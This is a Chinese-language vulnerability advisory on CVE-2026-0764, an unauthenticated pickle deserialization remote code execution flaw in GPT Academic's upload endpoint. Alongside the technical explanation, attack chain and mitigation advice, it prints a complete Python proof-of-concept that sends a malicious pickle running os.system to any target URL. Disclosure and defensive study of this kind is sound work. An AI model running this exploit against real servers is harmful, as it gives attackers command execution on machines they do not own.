IPBUF安全漏洞报告
English
CVE-2026-0764 CVSS 9.8 严重

CVE-2026-0764: GPT Academic upload接口反序列化远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0764
漏洞类型
反序列化远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GPT Academic

相关标签

CVE-2026-0764反序列化漏洞远程代码执行GPT AcademicPickle反序列化无需认证ZDI-CAN-27957Web应用安全Python安全Zero Day Initiative

漏洞概述

CVE-2026-0764是GPT Academic项目中一个严重的安全漏洞,CVSS评分高达9.8分(满分10分),属于紧急严重级别。该漏洞存在于GPT Academic的上传(upload)端点中,根源在于程序缺乏对用户提交数据的适当验证,导致不信任的数据被反序列化处理。攻击者无需任何认证凭证即可利用此漏洞,在受影响的GPT Academic安装实例上执行任意代码,最终实现以root权限完全控制服务器。GPT Academic作为一款基于大语言模型的学术研究辅助工具,被广泛应用于学术论文润色、代码分析、文献综述等场景,其用户群体涵盖高校研究人员、学生和科研机构。该工具提供的文件上传功能本意是方便用户处理各类学术文档(如PDF、Word等),但由于upload接口存在反序列化漏洞,攻击者可以通过上传精心构造的恶意序列化数据来触发代码执行。这意味着任何能够访问GPT Academic上传功能的攻击者都可以在服务器上执行任意系统命令、安装后门、窃取敏感数据或进行横向移动攻击。由于该漏洞无需认证即可利用,且影响范围覆盖所有未修复的GPT Academic版本,因此被ZDI(Zero Day Initiative)标记为高危漏洞并分配编号ZDI-CAN-27957。

技术细节

该漏洞的技术根源在于Python的pickle模块反序列化机制的安全缺陷。Python的pickle模块用于序列化和反序列化Python对象结构,但它本质上是不安全的,因为它可以执行任意代码。当pickle反序列化一个对象时,会调用该对象的__reduce__或__reduce_ex__方法来重建对象,而这些方法可以包含任意代码执行逻辑。GPT Academic的upload端点在处理用户上传的文件数据时,直接将用户提交的序列化数据进行pickle反序列化,而没有进行任何安全验证或数据来源校验。攻击者可以构造一个恶意的pickle对象,该对象的__reduce__方法指向一个执行系统命令的函数(如os.system),当服务器端反序列化这个对象时,就会触发代码执行。具体来说,攻击者可以创建一个包含如下逻辑的序列化对象:定义一个类,其__reduce__方法返回(os.system, ('恶意命令',)),然后将这个对象pickle序列化后发送到upload端点。服务器在反序列化时会调用os.system函数,从而在服务器上执行攻击者指定的任意系统命令。由于GPT Academic通常以较高权限运行(甚至是root),攻击成功后将获得服务器的最高控制权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的GPT Academic应用,并通过扫描发现upload端点的存在
STEP 2
步骤2: 构造恶意载荷
攻击者创建一个Python Exploit类,其__reduce__方法指向os.system函数,用于执行任意系统命令,然后使用pickle.dumps()将该对象序列化为字节流
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP POST请求将序列化后的恶意数据发送到GPT Academic的upload端点,请求中包含Content-Type为application/octet-stream的恶意文件
STEP 4
步骤4: 服务器反序列化处理
GPT Academic的upload端点接收到恶意数据后,由于缺乏输入验证,直接调用pickle.loads()对用户提交的数据进行反序列化操作
STEP 5
步骤5: 代码执行
在反序列化过程中,Python解释器调用Exploit对象的__reduce__方法,该方法返回(os.system, ('command',)),导致os.system函数被执行,从而在服务器上以应用运行权限执行任意命令
STEP 6
步骤6: 权限提升与持久化
攻击者成功执行命令后,由于GPT Academic通常以root权限运行,攻击者直接获得系统最高权限。攻击者可进一步安装后门、窃取数据或横向移动攻击其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-0764 PoC - GPT Academic Untrusted Deserialization RCE # This PoC demonstrates the deserialization vulnerability in GPT Academic's upload endpoint import pickle import requests import sys import base64 class Exploit: def __reduce__(self): # This will execute arbitrary command when deserialized # Replace 'whoami' with any command you want to execute import os return (os.system, ('whoami',)) def generate_payload(): """Generate malicious pickle payload""" exploit = Exploit() pickled = pickle.dumps(exploit) return base64.b64encode(pickled).decode() def send_exploit(target_url, payload): """Send the exploit to the vulnerable endpoint""" # Typical GPT Academic upload endpoint upload_url = f"{target_url}/upload" if not target_url.endswith('/upload') else target_url # Prepare the malicious payload files = { 'file': ('exploit.pkl', payload, 'application/octet-stream') } try: response = requests.post(upload_url, files=files, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://target:5000") sys.exit(1) target = sys.argv[1] print(f"[*] Generating payload for CVE-2026-0764...") payload = generate_payload() print(f"[*] Payload generated: {payload[:50]}...") print(f"[*] Sending exploit to {target}...") status, response = send_exploit(target, payload) if status: print(f"[*] Response status: {status}") print(f"[*] Response: {response}") else: print(f"[!] Error: {response}")

影响范围

GPT Academic 所有未修复版本

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或限制upload端点的访问权限,添加强制的身份认证机制;2)配置Web应用防火墙规则,检测并拦截包含pickle序列化特征的恶意请求;3)限制应用进程权限,使用非root用户运行GPT Academic;4)网络层面限制对GPT Academic服务的访问,仅允许受信任的IP地址访问;5)启用应用日志监控,及时发现异常的上传行为和可疑的系统命令执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表